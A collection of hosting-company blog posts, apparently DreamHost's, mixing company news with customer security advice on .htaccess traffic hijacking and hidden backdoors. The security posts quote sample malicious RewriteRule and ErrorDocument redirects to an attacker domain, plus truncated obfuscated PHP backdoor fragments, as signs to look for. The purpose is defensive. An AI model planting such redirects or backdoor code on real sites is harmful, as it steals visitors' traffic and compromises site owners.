There have been some recent allegations stating that a handful of compromised websites on our network involved with domain traffic “hijacking” was somehow connected to the illegal intrusion in January that caused us to initiate a complete password reset of all FTP and SSH users.

An extensive investigation has revealed that no customer FTP or SSH user accounts have been maliciously accessed due to this password breach. The websites reported as involved with this traffic hijacking have been reviewed and the site owners notified of the issue on their sites.

Domain hijacking has been around as long as web apps have existed, and until bug-free software exists, it will continue to trouble website owners for some time to come. We wanted to explain exactly what is meant by “hijacking” to help clear up some confusion.

Have you ever wondered, “Why would anyone try to hack my website?” Many answer this by presuming they’re too small of a target to become a victim of a high-tech crime syndicate, but truth be told these criminals want your sites and they want them badly. Why? Well it all comes down to money. The more hosts they have compromised, the more money they can make.

Cyber criminals’ main intent is to hit a site and go unnoticed…until it’s time to cash out. Attackers don’t care how big or small you are, and it is more likely that a site that is run by a small business or single site owner is going to not only be behind on their security updates for any software running on their site, but it’s also unlikely that they regularly monitor their site for malicious activity.

The “cash out” phase is usually when of our customers first find out that they’ve been compromised. By that time their site(s) are now taking part in one or more unscrupulous online activities. We will be doing a short series of posts that cover methods these attackers use as well as what you should be on the look out for.

Today we will be going into just one of these attacker’s malicious actions, so you know a little more about what to look for.

Traffic theft: via infected .htaccess files.

If you notice your site’s traffic unexpectedly dropping, or perhaps you’ve been flagged by Google as having “malicious” content, then there’s a good chance your site has been compromised.

What the attackers may have done is setup or infected your existing “.htaccess” file on your site. .htaccess files are read by your web server to govern the way your site behaves. .htaccess files can be created with rules that will steal your legitimate traffic and send the visitor to an attacker’s malicious URL. This attack originated with by simply infecting a site’s pages via iframe tags, but it has since evolved to utilize .htaccess “RewriteRule” and “ErrorDocument” directives.

Here is a simple example:

ErrorDocument 403 hxxp://congatarcxisi.ru/mays/index.php
ErrorDocument 404 hxxp://congatarcxisi.ru/mays/index.php

And here is a more complicated one:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|…
RewriteRule ^(.*)$ hxxp://congatarcxisi.ru/mays/index.php [R=301,L]

(to explain the above, the attackers are basically taking any search engine traffic, and redirecting it to their site)

You can check for these types of infections on your own! Just review your site’s .htaccess files (you may need to enable viewing of hidden files in your FTP/sFTP client so you can view “.htaccess”.) We are already actively scanning for these infections on our customers sites, so if you see an email from our Security team please make sure you review the report and take the recommended actions.

Based on the sites we have cleaned up already, these attacks have almost universally been due to insecure website software running on the site in question. You could have the best passwords in the world, but if the apps you’ve installed on your server have any security vulnerabilities or aren’t kept up to date, attackers can still find their way in.

We are are open to sharing information about web based attacks because we strongly believe in cooperation, collaboration, and responsible disclosure regarding Internet security. If you are interested in providing details related to these attacks or have questions for us, please contact our abuse team with information about any projects you may be working on that may be related to these infections and we will be glad to discuss this matter with you further.

In a follow up post I will cover the life of a web based attack when a new vulnerability is released (from 0day to 1000day), so stay tuned!

Whatever your holiday may be, HAPPY IT!

Not-so-long-ago the freshly-remodeled Disneyland Hotel in Anaheim, California was the site of the 2011 DreamHost Holiday Party!

As we head into this holiday weekend we wanted to share some photos of the merriment and hijinks that ensued!

Our holiday parties are family-friendly! Unlike our Halloween blowouts!

Disco band The Funky Hippeez provided some live entertainment…

Some celebrities stopped by for photos…

CEO Simon Anderson gave a quick presentation to thank everyone and their families for allowing us to do what we do! He had a little help…

We raffled off some neat stuff too!

At the risk of offending even one of you, “Happy Whatever”!

See you in 2012!

For the second year in a row DreamHost has been named to the Orange County Register’s list of Top Workplaces!

We’re so excited we even wrote a press release, so you know it’s a big deal.

The OC Register, in association with Workplace Dynamics, collected anonymous surveys from over 18,500 employees across 119 companies from Orange County.

This week the results were finally announced. You can find the Top Workplaces 2011 supplement in today’s edition of the Orange County Register.

10 large companies, 25 mid-size, and 40 small companies made the cut, and we’re happy to announce that we were at #10 on the small companies list.

Last night the companies named to the list were announced at an awards dinner full of lots of suits, ties, and dresses. (We left ours at home.)

Our own VP of Human Resources, Art Elizarov, even took the stage as a presenter for the evening!

You can check out our company profile for more information about what it takes to be a Top Workplace in Orange County.

Once you’ve had a chance to look over the winners, why not dust off your resume and apply to work at DreamHost? We’d love to have you, and there’s no shortage of open positions…

Last Saturday night we held our annual Halloween party at The Edison in Downtown Los Angeles. We loved it so much in 2010 that we decided to do it there again!

And, for the second year in a row, it was glorious!

The very talented Debra Gerson helped us capture the evening in photos and we’ve thrown them up on Flickr. Some of the costumes this year were unreal.

We’re hoping to see you there next year!

All you have to do is get hired. We’ll take it from there!

Amazon.com seems to have a goal of becoming the “search engine for anything you want to buy”, but is that really a good thing for their users?  For those of you who don’t use Amazon regularly, in addition to the products they sell themselves their website lists items for sale by merchants other than Amazon (called Amazon Merchants), as well as used items available from individuals and merchants.  All of those third party sellers have greatly expanded the product selection on Amazon.com, but it has also made the buying process on Amazon.com a lot more complex.  Amazon.com became successful by providing the best overall buying experience on the Internet, but now that they are so dominant have they forgotten that?

As an example, I recently purchased this Schwinn Roadster Tricycle and the process took longer than it should have.

That's a sweet trike! I really want an adult-sized one of those, but I'll just have to dream about that for now.

The red version looks even cooler!

Buying Options for Schwinn Trike in Red

A few of the buying options on Amazon.com for a Schwinn Tricycle

Wow, so many options! A 50-pack for 5 bucks??

Lately, there’s been a lot of talk about Infrastructure as a Service (IaaS), Software as a Service (SaaS), and Platform as a Service (PaaS, not to be confused with the easter egg people, PAAS), what distinguishes them from each other, and how they all fit into the more general concept of Cloud Computing.  Software as a Service and Infrastructure as a Service are generally well understood, but Platform as a Service still remains a bit of a mystery to many people.  In this short series of posts we’ll take a stab at explaining it a bit, starting with an introduction to the concept of platforms as they apply to software and dipping into the basics of Platform as a Service.  In future posts we’ll get into more of the nitty gritty.

What is a Platform?

A platform is anything you can leverage to accomplish something in a simpler, faster, or otherwise better way than you could without.  A platform may even provide a way to accomplish things that would otherwise not be possible at all.  In the most basic sense a platform is something physical that you can stand on to reach up higher.  In the software world it’s essentially the same idea.  As a programmer, you leverage pre-exisitng code rather than starting from scratch and writing everything.  The most well-known software platforms for desktop software are Windows and Mac OS and it’s generally very clear where those platforms end and the applications begin.

Web Platforms

In the world of web-based software, the infrastructure or hosting layer is analogous to desktop computer hardware and the platform layer is analogous to a desktop operating system.  In the very early days of web hosting, companies like us provided a service that was not much more than some disk space on a pre-configured Linux server with web server software running on it and a smattering of common scripting languages such as perl and python.  Those early hosting platforms were really only a thin layer on top of Linux itself.  It saved you from having to know how to configure the underlying software but didn’t really help you develop your own websites faster.

A lot has changed since then and web platforms have changed along the way, too.  Hosting services have automated the management of the underlying operating system and have exposed that to users in the form of increased control.  Additional features such as email distribution lists, contact form handlers, e-commerce options and other tools that make it easier to build and run a website are part of almost every hosting service, and even the installation of third-party web software platforms and frameworks is almost completely automated.  More advanced services, such as the one offered by DreamHost, also provide managed security, scaling options via automated migration between service levels, integration with external services such as content delivery networks, and an API providing on-demand launching of private servers and fine-grained control over DNS records.  Web platforms today provide a significant level of automation, control, and tools to help you build and manage your websites and that works great for almost all websites, but successfully scaling a very busy website can still take more work than it should.  That’s where Platform as a Service comes in.

Platform as a Service

The ultimate goal of a PaaS is to make it easier for you to run your website or web application no matter how much traffic it gets.  It should “just work”.  Where traditional managed hosting services have been pushing towards providing you with more control over the managed environment, platform services remove you from that aspect of the system altogether and manage it completely for you.  You just deploy your application and the service figures out what to do with it.  A platform as a service should handle scaling seamlessly for you so you can just focus on your website and the code running it.  That’s what I think is the holy grail of Platform as a Service and not necessarily the reality, though.  Platform services that exist today typically provide parts of this with some set of limitations appropriate to the type of user or application they are targeting.  In the next post in this series we’ll discuss some of the different kinds of platform services.

And if none of this is remotely interesting to you, you may still appreciate the more fun kind of platform.

The Internet has become a money making machine for many people. We’re really happy to see this as it’s allowed many of our customers to become successful. A customer with a successful web business is bound to be a customer that pays their hosting bill on time! Unfortunately there are also unscrupulous noogoodnicks whom will do ANYTHING to make another dollar. Some of their favorite forms of monetization include infecting sites with hidden spam links, stealing a site’s traffic via redirects, uploading phishing pages, or even worse – turning a site into a node for a web-based botnet that sells access to the highest bidder on an underground forum or IRC channel.

Attacks on web sites and applications have evolved rapidly over the last decade along with the rise of global internet access and dependence. As is always the case, an increase in money exchanging hands and the related comfort level with those monetary exchanges has brought the Internet to the forefront of revenue creation models by criminal gangs and crooks of all sorts.

Long gone are the days where the worst a site owner could expect when their site is compromised was a modification to the site’s front page content, usually including some sort of nasty message or witty prose. Current web-based attacks do their best to cover their exploit tracks in order to allow the attackers maximum time to do their criminal nastiness. This works in the attacker’s favor because as long as the website owner believes that their site looks and functions as intended, then there isn’t a second thought given to potentially being compromised by fraudsters and nogoodnicks.

Understanding these criminals and their intentions will prepare you to deal with them effectively when they cross your path.

Scene One: “The Attack!”

The criminal’s goal is simple: Infect as many sites and systems as possible without getting detected and cash in by providing access to these infected systems. This attack starts with scanning software that is armed with known vulnerabilities and insecure passwords. The attack rapidly scans random IPs and search engines for any trace of web sites with known vulnerabilities. Once a target is compromised the attackers then upload backdoor shells and hide them on the site somewhere that will not be detected. As you may have guessed, the backdoor shells they uploaded have the ability to run the same scanning mechanisms and will be used to compromise more sites and expand the network controlled by the criminal!

The above alone doesn’t generate a criminal any cash. All they will have is a list of ‘attack nodes’ at their disposal. This is when the entrepreneurial criminal comes into play. They will hold onto part of their attack nodes and keep them safe, while offering access to the other nodes for a price… And who would buy access to these nodes? More criminals of course!

By this time the site has been compromised for days, weeks or even months and will begin to show signs of having been exploited. The original criminal will at some point sell access to spammers. As career spammers are affectionately known to do, they will upload spam pages (pharmacy and phishing pages are common); or they sell your site to some shady marketing people to use your site in a BlackHat SEO campaign to boost a spammy site. Besides spammers it is also common for these criminals to sell to other criminals for their own botnets. They will pay for access to the backdoor just to upload their own backdoor! (criminals stealing from the criminals, what else would they expect?)

In the end, it isn’t uncommon to see a site compromised and then eventually end up looking like a hot mess with dozens of backdoors uploaded and hidden all over the web site. In the worst cases spammer links are injected on every page on the site, making it so every visitor whom is simply looking for your site, “Bob’s Toy Emporium” on popular search engines somehow finds themselves redirected to purchase little blue pills on a not so legitimate site.

Scene Two: “Don’t Let The Bad Guys Win!” (aka: “What YOU Can Do”)

Prevention!
It’s easier to stop the attackers before they hit than to clean up after them. The vast majority of web based attacks can be prevented by choosing a strong passphrase (P.S. You should also use sFTP instead of normal FTP, change your habit today!) and upgrading website software as soon as there is an update available! We make updating many popular website software applications easy with our One-Click Installation system — plugins, add-ons or custom code would still be your responsibility to upgrade though.

Detection!
“Because knowing is half the battle.”
Be aware of the files on your site and take an occasional review of them. See something out of place? Check into it! If it looks like a blind and rabid cat got a hold of the keyboard, then you might just have a problem (a problem that may be worse than if you actually had a blind rabid cat on your hands.) Here are some quick examples of malicious code we commonly see appended to website files:

eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydC

or

$HixNlV=’as’;$eQovrf=’e';$xsEWcg=$HixNlV.’s’.$eQovrf.’r’.’t';$HtJYXB=’b’.$HixNlV.$eQovrf

The attackers use many methods to obfuscate the purpose of their backdoors, but they all have in common the fact they don’t want you to be able to understand what their purpose is. There are some exceptions, but if a file doesn’t seem to belong on your site and you didn’t put it there then there should be reason believe that you have been exploited.

Scene Three:
What do you do if you think you’re compromised? Undo what the attackers did and secure your site from further abuse.

It is vital that you remove all added backdoors from your site and take action to prevent further attacks. These two steps are a lot easier than most people think, but you can not be lazy about them. First, check your site’s files for changes and file modifications. If you find anything that doesn’t belong there you need to disable/quarantine/remove it! Be sure to double-check that all of your sites’ software has been upgraded to the latest versions so known security holes are closed. Finally, Don’t forget to make sure you change your passwords (FTP, SSH, MySQL) too, just in case those may have been compromised as well.

What’s that? Your site has over 1,000 files and you want the site’s web master to check them all? Oh my!

You can tackle two problems at once, backups and security with the following tip. If a site is worth spending 10 minutes writing content for, then you should keep a backup of your site on your home/office computer. This backup will not only help you to get your site back online after almost any disaster, it will also help you identify any changes the attackers made to your site!

How? Well, since you’re now a savvy website owner who keeps clean and secure backups locally, you can download the “compromised” version of your site and use file comparison software* to compare it to a clean version to see exactly what has changed. You’ll also be better prepared for a possible “cyber forensics” role in the next episode of CSI…

*(search online for “compare directories” plus your operating system of choice and you will find tons of options!)

By now your site should be secure (knock on wood) so you can place it back online knowing the bad guys have less nodes to attack other websites and servers from. If you haven’t already though, please contact our support staff and let us know that you think you’ve been hacked. Our security team will then run a basic scan on your site’s files, and if we see any insecure software or have any known backdoors running on your site we will let you know!

We hit 300,000 customers today!

Thanks to each and every one of you for allowing us to do what we do – we wouldn’t have been able to eat this cake without you!

Have a great weekend!

As a company, one of the largest expenses we’ve got is payroll.

And the largest team within the company? Technical support.

Faced with those two facts it’s easy to see why so many hosting companies choose to outsource their support.

Add in something like dial-in telephone-based technical support and most companies would be lucky to break even.

Outsourcing is a four-letter word at DreamHost. It’s also an eleven-letter word.

I know that’s confusing.

Let’s just split the difference and call it seven.

Outsourcing is a seven-letter word at DreamHost. Just awful.

Our technical support staff is not only US-based, but located within our own offices. They are DreamHost employees, and we’re always looking for more.

We see real value in hiring and training our own employees directly. They become intimately familiar with our services, our hosting platform, and are best able to represent the spirit of DreamHost on the front lines.

The end result is a more personalized, higher-level of support provided by people who are empowered to solve problems and not simply “escalate” them.

We’ve been very careful about how we choose to offer phone support. It does add a significant cost to our operating expenses and we’ve never wanted to pass that expense along to our customers.

The only people who pay for phone support at DreamHost are the ones that want to, you know, use it. For $9.95 a month our Premium Support package includes up to three callbacks per month.

Up until very recently we’ve asked our Premium Support customers to specify a three-hour window for their callbacks. It was a handy service, but the whole three-hour window thing was a little off-putting. You can thank cable companies, phone companies, appliance installers, and any number of related service industries for that.

Effective not-so-long-ago, we’ve made a small but significant change to the way we handle callbacks.

That three hour window? It’s now one hour, Monday through Friday.

Weekends are still on the three-hour system. For now!

You’ll get the same high-level of support you’ve come to know and love from our knowledgeable tech support team – faster than ever before.

The next time you need to contact our technical support team just look for the Premium Support checkbox on the contact form to enter into a world of steamy singles waiting to chat with you!*

*Some of them are, anyway. You know techies.

DreamHost has multiple levels of tech-oriented security services that we run for all of our customers at no extra cost (Web application firewalls, server/network firewalls, jailed environments, easy ways for customers to upgrade website software, secure server configurations, password generators and a highly skilled security and admin team to manage all of these services.) We have begun to take a user-oriented approach to security.

Even with the best firewalls and prevention methods, websites can still be compromised (and this makes us sad.) The top methods of compromise have been the same over the last few years, either an FTP/SSH password is guessed/stolen or the customer is unknowingly running insecure software on their site.

Our human oriented method to security is simple: We send emails periodically to customers whenever an emergent security concern comes up. Don’t be afraid of these emails, they’re just notices to let you know we’ve found something you should probably know about. We will never ask you to reveal login details or other key information about your account.

When/Where?
These emails are sent to the account owner, as needed when one or more of their sites may be threatened by criminals! This isn’t to say we will email everyone immediately when their site’s software has an update, only when our security team has identified their hosted sites may be vulnerable to an imminent attack. (sort of a warning before the storm)

What?
These email notifications will be sent from a DreamHost.com email address and will show up in your panel’s support history page.

We will contact customers if their sites are running software currently being targeted by malicious botnets or have been compromised already (e.g.. they’re hosting known web based backdoors.) Typically we will take any immediate action that is needed (such as taking a backdoor offline) but you will still need to take further steps to patch the security hole in your site! Our security team will be glad to help you with what to do, just reply to the email and our staff will be glad to help.

Why?
Site security is a joint effort. We prefer not to muddle with how you run your site, but we will let you know if there is something serious to be concerned about!

Web-based botnets are growing every day. We have multiple layers of security to help our customers’ sites prevent these attacks but site security can’t be left up to (and blamed on) your host. We want to help customers be more aware of security matters and take the proper actions to prevent becoming a victim.

How?
We perform a completely non-invasive review of each site’s web activity. Using the inferred information we can identify either insecure software or bot-net related activity running anywhere on our network. This scan reviews somewhere around 1,000,000 sites hosted across 20,000 or so servers, in only 30-45 minutes (yes, those numbers are real. Yes, that is actually really fast!). During the scans the sites function as normal, in fact there is no way they could be affected by this scan. If your site is detected as in danger we will keep it up and let you know of the danger (and what to do to prevent an attack). If your site has already been compromised we will do our best to quarantine the problem and let you know what to do next.